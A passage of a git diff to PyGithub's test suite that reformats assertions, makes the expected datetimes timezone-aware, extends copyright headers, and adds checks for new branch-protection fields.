<35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -25,7 +31,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -42,25 +48,21 @@ def testAttributes(self): ) self.assertEqual(self.authorization.app.name, "GitHub API") self.assertEqual( - self.authorization.created_at, datetime.datetime(2012, 5, 22, 18, 3, 17) + self.authorization.created_at, + datetime(2012, 5, 22, 18, 3, 17, tzinfo=timezone.utc), ) self.assertEqual(self.authorization.id, 372259) self.assertEqual(self.authorization.note, None) self.assertEqual(self.authorization.note_url, None) self.assertEqual(self.authorization.scopes, []) + self.assertEqual(self.authorization.token, "82459c4500086f8f0cc67d2936c17d1e27ad1c33") self.assertEqual( - self.authorization.token, "82459c4500086f8f0cc67d2936c17d1e27ad1c33" - ) - self.assertEqual( - self.authorization.updated_at, datetime.datetime(2012, 5, 22, 18, 3, 17) - ) - self.assertEqual( - self.authorization.url, "https://api.github.com/authorizations/372259" + self.authorization.updated_at, + datetime(2012, 5, 22, 18, 3, 17, tzinfo=timezone.utc), ) + self.assertEqual(self.authorization.url, "https://api.github.com/authorizations/372259") self.assertEqual(repr(self.authorization), "Authorization(scopes=[])") - self.assertEqual( - repr(self.authorization.app), 'AuthorizationApplication(name="GitHub API")' - ) + self.assertEqual(repr(self.authorization.app), 'AuthorizationApplication(name="GitHub API")') def testEdit(self): self.authorization.edit() @@ -78,9 +80,7 @@ def testEdit(self): note_url="http://vincent-jacques.net/PyGithub", ) self.assertEqual(self.authorization.note, "Note created by PyGithub") - self.assertEqual( - self.authorization.note_url, "http://vincent-jacques.net/PyGithub" - ) + self.assertEqual(self.authorization.note_url, "http://vincent-jacques.net/PyGithub") def testDelete(self): self.authorization.delete() diff --git a/tests/Autolink.py b/tests/Autolink.py index e363e3cb94..17234e12f7 100644 --- a/tests/Autolink.py +++ b/tests/Autolink.py @@ -1,6 +1,20 @@ ############################ Copyrights and license ############################ # # -# Copyright 2021 Marco Köpcke # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Steve Kowalik # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2022 Marco Köpcke # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -19,6 +33,7 @@ # along with PyGithub. If not, see . # # # ################################################################################ + from tests import Framework @@ -27,19 +42,12 @@ def setUp(self): super().setUp() # When recording test, be sure to create a autolink for yourself on # Github and update it here. - links = [ - x - for x in self.g.get_user("theCapypara").get_repo("PyGithub").get_autolinks() - if x.id == 209614 - ] - self.assertEqual( - 1, len(links), "There must be exactly one autolink with the ID 209614." - ) + links = [x for x in self.g.get_user("theCapypara").get_repo("PyGithub").get_autolinks() if x.id == 209614] + self.assertEqual(1, len(links), "There must be exactly one autolink with the ID 209614.") self.link = links[0] def testAttributes(self): self.assertEqual(self.link.id, 209614) self.assertEqual(self.link.key_prefix, "DUMMY-") - self.assertEqual( - self.link.url_template, "https://github.com/PyGithub/PyGithub/issues/" - ) + self.assertEqual(self.link.url_template, "https://github.com/PyGithub/PyGithub/issues/") + self.assertEqual(self.link.is_alphanumeric, True) diff --git a/tests/BadAttributes.py b/tests/BadAttributes.py index 4aba028476..db20dd3797 100755 --- a/tests/BadAttributes.py +++ b/tests/BadAttributes.py @@ -4,7 +4,15 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2017 Hugo # +# Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Christoph Reiter # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,7 +32,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone import github @@ -35,7 +43,10 @@ class BadAttributes(Framework.TestCase): def testBadSimpleAttribute(self): user = self.g.get_user("klmitch") - self.assertEqual(user.created_at, datetime.datetime(2011, 3, 23, 15, 42, 9)) + self.assertEqual( + user.created_at, + datetime(2011, 3, 23, 15, 42, 9, tzinfo=timezone.utc), + ) with self.assertRaises(github.BadAttributeException) as raisedexp: user.name @@ -51,12 +62,10 @@ def testBadAttributeTransformation(self): user.created_at self.assertEqual(raisedexp.exception.actual_value, "foobar") self.assertEqual(raisedexp.exception.expected_type, str) - self.assertEqual( - raisedexp.exception.transformation_exception.__class__, ValueError - ) + self.assertEqual(raisedexp.exception.transformation_exception.__class__, ValueError) self.assertEqual( raisedexp.exception.transformation_exception.args, - ("time data 'foobar' does not match format '%Y-%m-%dT%H:%M:%SZ'",), + ("Invalid isoformat string: 'foobar'",), ) def testBadTransformedAttribute(self): @@ -89,9 +98,7 @@ def testBadAttributeInClassAttribute(self): self.assertEqual(raisedexp.exception.actual_value, 42) def testBadTransformedAttributeInList(self): - commit = self.g.get_repo("klmitch/turnstile", lazy=True).get_commit( - "38d9082a898d0822b5ccdfd78f3a536e2efa6c26" - ) + commit = self.g.get_repo("klmitch/turnstile", lazy=True).get_commit("38d9082a898d0822b5ccdfd78f3a536e2efa6c26") with self.assertRaises(github.BadAttributeException) as raisedexp: commit.files diff --git a/tests/Branch.py b/tests/Branch.py index 876d50fe8c..3eafb18d15 100644 --- a/tests/Branch.py +++ b/tests/Branch.py @@ -7,8 +7,17 @@ # Copyright 2015 Kyle Hornberg # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # +# Copyright 2018 Alice GIRARD # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -39,44 +48,38 @@ def setUp(self): self.repo = self.g.get_user().get_repo("PyGithub") self.branch = self.repo.get_branch("topic/RewriteWithGeneratedCode") self.protected_branch = self.repo.get_branch("integrations") - self.organization_branch = self.g.get_repo( - "PyGithub/PyGithub", lazy=True - ).get_branch("master") + self.organization_branch = self.g.get_repo("PyGithub/PyGithub", lazy=True).get_branch("master") def testAttributes(self): self.assertEqual(self.branch.name, "topic/RewriteWithGeneratedCode") - self.assertEqual( - self.branch.commit.sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a" - ) + self.assertEqual(self.branch.commit.sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a") self.assertEqual( self.branch.protection_url, "https://api.github.com/repos/jacquev6/PyGithub/branches/topic/RewriteWithGeneratedCode/protection", ) self.assertFalse(self.branch.protected) - self.assertEqual( - repr(self.branch), 'Branch(name="topic/RewriteWithGeneratedCode")' - ) + self.assertEqual(repr(self.branch), 'Branch(name="topic/RewriteWithGeneratedCode")') def testEditProtection(self): self.protected_branch.edit_protection( strict=True, require_code_owner_reviews=True, required_approving_review_count=2, + require_last_push_approval=True, ) branch_protection = self.protected_branch.get_protection() self.assertTrue(branch_protection.required_status_checks.strict) self.assertEqual(branch_protection.required_status_checks.contexts, []) self.assertTrue(branch_protection.enforce_admins) - self.assertFalse( - branch_protection.required_pull_request_reviews.dismiss_stale_reviews - ) - self.assertTrue( - branch_protection.required_pull_request_reviews.require_code_owner_reviews - ) + self.assertFalse(branch_protection.required_linear_history) + self.assertFalse(branch_protection.allow_deletions) + self.assertFalse(branch_protection.required_pull_request_reviews.dismiss_stale_reviews) + self.assertTrue(branch_protection.required_pull_request_reviews.require_code_owner_reviews) self.assertEqual( branch_protection.required_pull_request_reviews.required_approving_review_count, 2, ) + self.assertTrue(branch_protection.required_pull_request_reviews.require_last_push_approval) def testEditProtectionDismissalUsersWithUserOwnedBranch(self): with self.assertRaises(github.GithubException) as raisedexp: @@ -87,33 +90,25 @@ def testEditProtectionDismissalUsersWithUserOwnedBranch(self): { "documentation_url": "https://developer.github.com/v3/repos/branches/#update-branch-protection", "message": "Validation Failed", - "errors": [ - "Only organization repositories can have users and team restrictions" - ], + "errors": ["Only organization repositories can have users and team restrictions"], }, ) def testEditProtectionPushRestrictionsWithUserOwnedBranch(self): with self.assertRaises(github.GithubException) as raisedexp: - self.protected_branch.edit_protection( - user_push_restrictions=["jacquev6"], team_push_restrictions=[] - ) + self.protected_branch.edit_protection(user_push_restrictions=["jacquev6"], team_push_restrictions=[]) self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, { "documentation_url": "https://developer.github.com/v3/repos/branches/#update-branch-protection", "message": "Validation Failed", - "errors": [ - "Only organization repositories can have users and team restrictions" - ], + "errors": ["Only organization repositories can have users and team restrictions"], }, ) def testEditProtectionPushRestrictionsAndDismissalUser(self): - self.organization_branch.edit_protection( - dismissal_users=["jacquev6"], user_push_restrictions=["jacquev6"] - ) + self.organization_branch.edit_protection(dismissal_users=["jacquev6"], user_push_restrictions=["jacquev6"]) branch_protection = self.organization_branch.get_protection() self.assertListKeyEqual( branch_protection.required_pull_request_reviews.dismissal_users, @@ -130,9 +125,7 @@ def testEditProtectionPushRestrictionsAndDismissalUser(self): lambda u: u.login, ["jacquev6"], ) - self.assertListKeyEqual( - branch_protection.get_team_push_restrictions(), lambda u: u.slug, [] - ) + self.assertListKeyEqual(branch_protection.get_team_push_restrictions(), lambda u: u.slug, []) def testRemoveProtection(self): self.assertTrue(self.protected_branch.protected) @@ -171,22 +164,17 @@ def testRemoveRequiredStatusChecks(self): def testEditRequiredPullRequestReviews(self): self.protected_branch.edit_required_pull_request_reviews( - dismiss_stale_reviews=True, required_approving_review_count=2 - ) - required_pull_request_reviews = ( - self.protected_branch.get_required_pull_request_reviews() + dismiss_stale_reviews=True, + required_approving_review_count=2, ) + required_pull_request_reviews = self.protected_branch.get_required_pull_request_reviews() self.assertTrue(required_pull_request_reviews.dismiss_stale_reviews) self.assertTrue(required_pull_request_reviews.require_code_owner_reviews) - self.assertEqual( - required_pull_request_reviews.required_approving_review_count, 2 - ) + self.assertEqual(required_pull_request_reviews.required_approving_review_count, 2) def testEditRequiredPullRequestReviewsWithTooLargeApprovingReviewCount(self): with self.assertRaises(github.GithubException) as raisedexp: - self.protected_branch.edit_required_pull_request_reviews( - required_approving_review_count=9 - ) + self.protected_branch.edit_required_pull_request_reviews(required_approving_review_count=9) self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, @@ -198,9 +186,7 @@ def testEditRequiredPullRequestReviewsWithTooLargeApprovingReviewCount(self): def testEditRequiredPullRequestReviewsWithUserBranchAndDismissalUsers(self): with self.assertRaises(github.GithubException) as raisedexp: - self.protected_branch.edit_required_pull_request_reviews( - dismissal_users=["jacquev6"] - ) + self.protected_branch.edit_required_pull_request_reviews(dismissal_users=["jacquev6"]) self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, @@ -212,14 +198,11 @@ def testEditRequiredPullRequestReviewsWithUserBranchAndDismissalUsers(self): def testRemoveRequiredPullRequestReviews(self): self.protected_branch.remove_required_pull_request_reviews() - required_pull_request_reviews = ( - self.protected_branch.get_required_pull_request_reviews() - ) + required_pull_request_reviews = self.protected_branch.get_required_pull_request_reviews() self.assertFalse(required_pull_request_reviews.dismiss_stale_reviews) self.assertFalse(required_pull_request_reviews.require_code_owner_reviews) - self.assertEqual( - required_pull_request_reviews.required_approving_review_count, 1 - ) + self.assertEqual(required_pull_request_reviews.required_approving_review_count, 1) + self.assertFalse(required_pull_request_reviews.require_last_push_approval) def testAdminEnforcement(self): self.protected_branch.remove_admin_enforcement() @@ -227,6 +210,12 @@ def testAdminEnforcement(self): self.protected_branch.set_admin_enforcement() self.assertTrue(self.protected_branch.get_admin_enforcement()) + def testAllowDeletions(self): + self.protected_branch.set_allow_deletions() + self.assertTrue(self.protected_branch.get_allow_deletions()) + self.protected_branch.remove_allow_deletions() + self.assertFalse(self.protected_branch.get_allow_deletions()) + def testAddUserPushRestrictions(self): self.organization_branch.add_user_push_restrictions("sfdye") self.assertListKeyEqual( diff --git a/tests/BranchProtection.py b/tests/BranchProtection.py index 65a75d21e8..ec4c3bae68 100644 --- a/tests/BranchProtection.py +++ b/tests/BranchProtection.py @@ -1,6 +1,19 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,23 +39,22 @@ class BranchProtection(Framework.TestCase): def setUp(self): super().setUp() - self.branch_protection = ( - self.g.get_user() - .get_repo("PyGithub") - .get_branch("integrations") - .get_protection() - ) + self.branch_protection = self.g.get_repo("curvewise-forks/PyGithub").get_branch("master").get_protection() def testAttributes(self): self.assertTrue(self.branch_protection.required_status_checks.strict) - self.assertEqual( - self.branch_protection.required_status_checks.contexts, ["foo/bar"] - ) + self.assertEqual(self.branch_protection.required_status_checks.contexts, ["build (3.10)"]) + self.assertTrue(self.branch_protection.required_linear_history) self.assertEqual( self.branch_protection.url, - "https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection", + "https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection", ) self.assertEqual( self.branch_protection.__repr__(), - 'BranchProtection(url="https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection")', + 'BranchProtection(url="https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection")', ) + self.assertFalse(self.branch_protection.allow_force_pushes) + self.assertFalse(self.branch_protection.allow_deletions) + self.assertFalse(self.branch_protection.required_conversation_resolution) + self.assertFalse(self.branch_protection.lock_branch) + self.assertFalse(self.branch_protection.allow_fork_syncing) diff --git a/tests/CheckRun.py b/tests/CheckRun.py index 818371b5ab..2c7395e194 100644 --- a/tests/CheckRun.py +++ b/tests/CheckRun.py @@ -1,6 +1,9 @@ ############################ Copyrights and license ############################ # # # Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,7 +23,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -40,19 +43,16 @@ def testAttributes(self): self.assertEqual(self.check_run.app.slug, "github-actions") self.assertEqual(self.check_run.check_suite_id, 1110219217) self.assertEqual( - self.check_run.completed_at, datetime.datetime(2020, 8, 28, 4, 21, 21) + self.check_run.completed_at, + datetime(2020, 8, 28, 4, 21, 21, tzinfo=timezone.utc), ) self.assertEqual(self.check_run.conclusion, "success") self.assertEqual( self.check_run.details_url, "https://github.com/PyGithub/PyGithub/runs/1039891953", ) - self.assertEqual( - self.check_run.external_id, "6b512fe7-587c-5ecc-c4a3-03b7358c152d" - ) - self.assertEqual( - self.check_run.head_sha, "6bc9ecc8c849df4e45e60c1e6a5df8876180a20a" - ) + self.assertEqual(self.check_run.external_id, "6b512fe7-587c-5ecc-c4a3-03b7358c152d") + self.assertEqual(self.check_run.head_sha, "6bc9ecc8c849df4e45e60c1e6a5df8876180a20a") self.assertEqual( self.check_run.html_url, "https://github.com/PyGithub/PyGithub/runs/1039891953", @@ -63,16 +63,15 @@ def testAttributes(self): self.assertEqual(self.check_run.output.annotations_count, 0) self.assertEqual(len(self.check_run.pull_requests), 0) self.assertEqual( - self.check_run.started_at, datetime.datetime(2020, 8, 28, 4, 20, 27) + self.check_run.started_at, + datetime(2020, 8, 28, 4, 20, 27, tzinfo=timezone.utc), ) self.assertEqual(self.check_run.status, "completed") self.assertEqual( self.check_run.url, "https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891953", ) - self.assertEqual( - repr(self.check_run), 'CheckRun(id=1039891953, conclusion="success")' - ) + self.assertEqual(repr(self.check_run), 'CheckRun(id=1039891953, conclusion="success")') def testCheckRunOutputAttributes(self): check_run_output = self.repo.get_check_run(1039891917).output @@ -87,9 +86,7 @@ def testCheckRunOutputAttributes(self): check_run_output.annotations_url, "https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations", ) - self.assertEqual( - repr(check_run_output), 'CheckRunOutput(title="test (Python 3.6)")' - ) + self.assertEqual(repr(check_run_output), 'CheckRunOutput(title="test (Python 3.6)")') def testGetCheckRunsForRef(self): check_runs = self.commit.get_check_runs() @@ -137,14 +134,17 @@ def testCreateCheckRunInProgress(self): status="in_progress", external_id="50", details_url="https://www.example.com", - started_at=datetime.datetime(2020, 9, 4, 1, 14, 52), + started_at=datetime(2020, 9, 4, 1, 14, 52), output={"title": "PyGithub Check Run Test", "summary": "Test summary"}, ) self.assertEqual(check_run.name, "basic_check_run") self.assertEqual(check_run.head_sha, "0283d46537193f1fed7d46859f15c5304b9836f9") self.assertEqual(check_run.status, "in_progress") self.assertEqual(check_run.external_id, "50") - self.assertEqual(check_run.started_at, datetime.datetime(2020, 9, 4, 1, 14, 52)) + self.assertEqual( + check_run.started_at, + datetime(2020, 9, 4, 1, 14, 52, tzinfo=timezone.utc), + ) self.assertEqual(check_run.output.title, "PyGithub Check Run Test") self.assertEqual(check_run.output.summary, "Test summary") self.assertIsNone(check_run.output.text) @@ -159,9 +159,9 @@ def testCreateCheckRunCompleted(self): name="completed_check_run", head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", status="completed", - started_at=datetime.datetime(2020, 10, 20, 10, 30, 29), + started_at=datetime(2020, 10, 20, 10, 30, 29), conclusion="success", - completed_at=datetime.datetime(2020, 10, 20, 11, 30, 50), + completed_at=datetime(2020, 10, 20, 11, 30, 50), output={ "title": "Readme report", "summary": "There are 0 failures, 2 warnings, and 1 notices.", @@ -205,11 +205,13 @@ def testCreateCheckRunCompleted(self): self.assertEqual(check_run.head_sha, "0283d46537193f1fed7d46859f15c5304b9836f9") self.assertEqual(check_run.status, "completed") self.assertEqual( - check_run.started_at, datetime.datetime(2020, 10, 20, 10, 30, 29) + check_run.started_at, + datetime(2020, 10, 20, 10, 30, 29, tzinfo=timezone.utc), ), self.assertEqual(check_run.conclusion, "success") self.assertEqual( - check_run.completed_at, datetime.datetime(2020, 10, 20, 11, 30, 50) + check_run.completed_at, + datetime(2020, 10, 20, 11, 30, 50, tzinfo=timezone.utc), ), self.assertEqual(check_run.output.annotations_count, 2) @@ -220,7 +222,7 @@ def testUpdateCheckRunSuccess(self): head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", status="in_progress", external_id="100", - started_at=datetime.datetime(2020, 10, 20, 14, 24, 31), + started_at=datetime(2020, 10, 20, 14, 24, 31), output={"title": "Check run for testing edit method", "summary": ""}, ) self.assertEqual(check_run.name, "edit_check_run") @@ -250,7 +252,7 @@ def testUpdateCheckRunFailure(self): head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", status="in_progress", external_id="101", - started_at=datetime.datetime(2020, 10, 20, 10, 14, 51), + started_at=datetime(2020, 10, 20, 10, 14, 51), output={"title": "Check run for testing failure", "summary": ""}, ) self.assertEqual(check_run.name, "fail_check_run") @@ -294,8 +296,8 @@ def testUpdateCheckRunAll(self): head_sha="0283d46537193f1fed7d46859f15c5304b9836f9", details_url="https://www.example-url.com", external_id="49", - started_at=datetime.datetime(2020, 10, 20, 1, 10, 20), - completed_at=datetime.datetime(2020, 10, 20, 2, 20, 30), + started_at=datetime(2020, 10, 20, 1, 10, 20), + completed_at=datetime(2020, 10, 20, 2, 20, 30), actions=[ { "label": "Hello World!", @@ -309,10 +311,12 @@ def testUpdateCheckRunAll(self): self.assertEqual(check_run.details_url, "https://www.example-url.com") self.assertEqual(check_run.external_id, "49") self.assertEqual( - check_run.started_at, datetime.datetime(2020, 10, 20, 1, 10, 20) + check_run.started_at, + datetime(2020, 10, 20, 1, 10, 20, tzinfo=timezone.utc), ) self.assertEqual( - check_run.completed_at, datetime.datetime(2020, 10, 20, 2, 20, 30) + check_run.completed_at, + datetime(2020, 10, 20, 2, 20, 30, tzinfo=timezone.utc), ) def testCheckRunAnnotationAttributes(self): @@ -336,6 +340,4 @@ def testListCheckRunAnnotations(self): self.assertEqual(check_run.status, "completed") annotation_list = check_run.get_annotations() self.assertEqual(annotation_list.totalCount, 2) - self.assertListEqual( - [annotation.start_line for annotation in annotation_list], [2, 4] - ) + self.assertListEqual([annotation.start_line for annotation in annotation_list], [2, 4]) diff --git a/tests/CheckSuite.py b/tests/CheckSuite.py index 9dafaeb69d..66d46d4820 100644 --- a/tests/CheckSuite.py +++ b/tests/CheckSuite.py @@ -1,7 +1,9 @@ ############################ Copyrights and license ############################ # # -# Copyright 2020 Raju Subramanian # # Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -21,7 +23,7 @@ # # ################################################################################ -from datetime import datetime +from datetime import datetime, timezone from . import Framework @@ -48,7 +50,7 @@ def testAttributes(self): "https://api.github.com/repos/wrecker/PySample/check-suites/1004503837/check-runs", ) self.assertEqual(cs.conclusion, "success") - self.assertEqual(cs.created_at, datetime(2020, 8, 4, 5, 6, 54)) + self.assertEqual(cs.created_at, datetime(2020, 8, 4, 5, 6, 54, tzinfo=timezone.utc)) self.assertEqual(cs.head_branch, "wrecker-patch-1") self.assertEqual(cs.head_commit.sha, "fd09d934bcce792176d6b79d6d0387e938b62b7a") self.assertEqual(cs.head_sha, "fd09d934bcce792176d6b79d6d0387e938b62b7a") @@ -57,11 +59,9 @@ def testAttributes(self): self.assertEqual(cs.id, self.check_suite_id) self.assertEqual(len(cs.pull_requests), 1) self.assertEqual(cs.pull_requests[0].id, 462527907) - self.assertEqual( - cs.repository.url, "https://api.github.com/repos/wrecker/PySample" - ) + self.assertEqual(cs.repository.url, "https://api.github.com/repos/wrecker/PySample") self.assertEqual(cs.status, "completed") - self.assertEqual(cs.updated_at, datetime(2020, 8, 4, 5, 7, 40)) + self.assertEqual(cs.updated_at, datetime(2020, 8, 4, 5, 7, 40, tzinfo=timezone.utc)) self.assertEqual( cs.url, "https://api.github.com/repos/wrecker/PySample/check-suites/1004503837", @@ -161,9 +161,7 @@ def testUpdateCheckSuitesPreferences(self): if app["app_id"] == data[0]["app_id"]: setting = app["setting"] self.assertFalse(setting) - self.assertEqual( - repo_preferences.repository.full_name, "dhruvmanila/pygithub-testing" - ) + self.assertEqual(repo_preferences.repository.full_name, "dhruvmanila/pygithub-testing") data = [{"app_id": 85429, "setting": True}] repo_preferences = self.test_repo.update_check_suites_preferences(data) for app in repo_preferences.preferences["auto_trigger_checks"]: diff --git a/tests/CodeScanAnalysis.py b/tests/CodeScanAnalysis.py index cc169d7420..7ff1a9e21f 100644 --- a/tests/CodeScanAnalysis.py +++ b/tests/CodeScanAnalysis.py @@ -11,9 +11,7 @@ def testAttributes(self): self.assertIn("refs/heads/main", analysis.ref) self.assertIn("d99612c3e1f2970085cfbaeadf8f010ef69bad83", analysis.commit_sha) - self.assertIn( - ".github/workflows/codeql-analysis.yml:analyze", analysis.analysis_key - ) + self.assertIn(".github/workflows/codeql-analysis.yml:analyze", analysis.analysis_key) self.assertIn('{"language":"python"}', analysis.environment) self.assertIn("", analysis.error) self.assertIn( diff --git a/tests/Commit.py b/tests/Commit.py index beb3d4885b..19bbd8ee0e 100644 --- a/tests/Commit.py +++ b/tests/Commit.py @@ -8,6 +8,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Danilo Martins # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -33,11 +40,7 @@ class Commit(Framework.TestCase): def setUp(self): super().setUp() - self.commit = ( - self.g.get_user() - .get_repo("PyGithub") - .get_commit("1292bf0e22c796e91cc3d6e24b544aece8c21f2a") - ) + self.commit = self.g.get_user().get_repo("PyGithub").get_commit("1292bf0e22c796e91cc3d6e24b544aece8c21f2a") self.commit.author.login # to force lazy completion def testAttributes(self): @@ -55,22 +58,16 @@ def testAttributes(self): ) self.assertEqual(self.commit.files[0].changes, 20) self.assertEqual(self.commit.files[0].deletions, 20) - self.assertEqual( - self.commit.files[0].filename, "github/GithubObjects/GitAuthor.py" - ) + self.assertEqual(self.commit.files[0].filename, "github/GithubObjects/GitAuthor.py") self.assertTrue(isinstance(self.commit.files[0].patch, str)) self.assertEqual( self.commit.files[0].raw_url, "https://github.com/jacquev6/PyGithub/raw/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github/GithubObjects/GitAuthor.py", ) - self.assertEqual( - self.commit.files[0].sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a" - ) + self.assertEqual(self.commit.files[0].sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a") self.assertEqual(self.commit.files[0].status, "modified") self.assertEqual(len(self.commit.parents), 1) - self.assertEqual( - self.commit.parents[0].sha, "b46ed0dfde5ad02d3b91eb54a41c5ed960710eae" - ) + self.assertEqual(self.commit.parents[0].sha, "b46ed0dfde5ad02d3b91eb54a41c5ed960710eae") self.assertEqual(self.commit.sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a") self.assertEqual(self.commit.stats.deletions, 20) self.assertEqual(self.commit.stats.additions, 0) @@ -79,9 +76,7 @@ def testAttributes(self): self.commit.url, "https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a", ) - self.assertEqual( - self.commit.commit.tree.sha, "4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab" - ) + self.assertEqual(self.commit.commit.tree.sha, "4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab") self.assertEqual( repr(self.commit), 'Commit(sha="1292bf0e22c796e91cc3d6e24b544aece8c21f2a")', @@ -109,9 +104,7 @@ def testCreateCommentOnFileLine(self): ) self.assertEqual(comment.id, 1362000) self.assertEqual(comment.line, 26) - self.assertEqual( - comment.path, "codegen/templates/GithubObject.MethodBody.UseResult.py" - ) + self.assertEqual(comment.path, "codegen/templates/GithubObject.MethodBody.UseResult.py") self.assertEqual(comment.position, None) def testCreateCommentOnFilePosition(self): @@ -122,9 +115,7 @@ def testCreateCommentOnFilePosition(self): ) self.assertEqual(comment.id, 1362001) self.assertEqual(comment.line, None) - self.assertEqual( - comment.path, "codegen/templates/GithubObject.MethodBody.UseResult.py" - ) + self.assertEqual(comment.path, "codegen/templates/GithubObject.MethodBody.UseResult.py") self.assertEqual(comment.position, 3) def testCreateStatusWithoutOptionalParameters(self): @@ -142,15 +133,9 @@ def testCreateStatusWithAllParameters(self): ) self.assertEqual(status.id, 277040) self.assertEqual(status.state, "success") - self.assertEqual( - status.target_url, "https://github.com/jacquev6/PyGithub/issues/67" - ) + self.assertEqual(status.target_url, "https://github.com/jacquev6/PyGithub/issues/67") self.assertEqual(status.description, "Status successfuly created by PyGithub") def testGetPulls(self): - commit = ( - self.g.get_user() - .get_repo("PyGithub") - .get_commit("e44d11d565c022496544dd6ed1f19a8d718c2b0c") - ) + commit = self.g.get_user().get_repo("PyGithub").get_commit("e44d11d565c022496544dd6ed1f19a8d718c2b0c") self.assertListKeyEqual(commit.get_pulls(), lambda c: c.number, [1431]) diff --git a/tests/CommitCombinedStatus.py b/tests/CommitCombinedStatus.py index c51588e941..ec6ae5fd57 100644 --- a/tests/CommitCombinedStatus.py +++ b/tests/CommitCombinedStatus.py @@ -1,10 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 John Eskew # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # +# Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # +# Copyright 2019 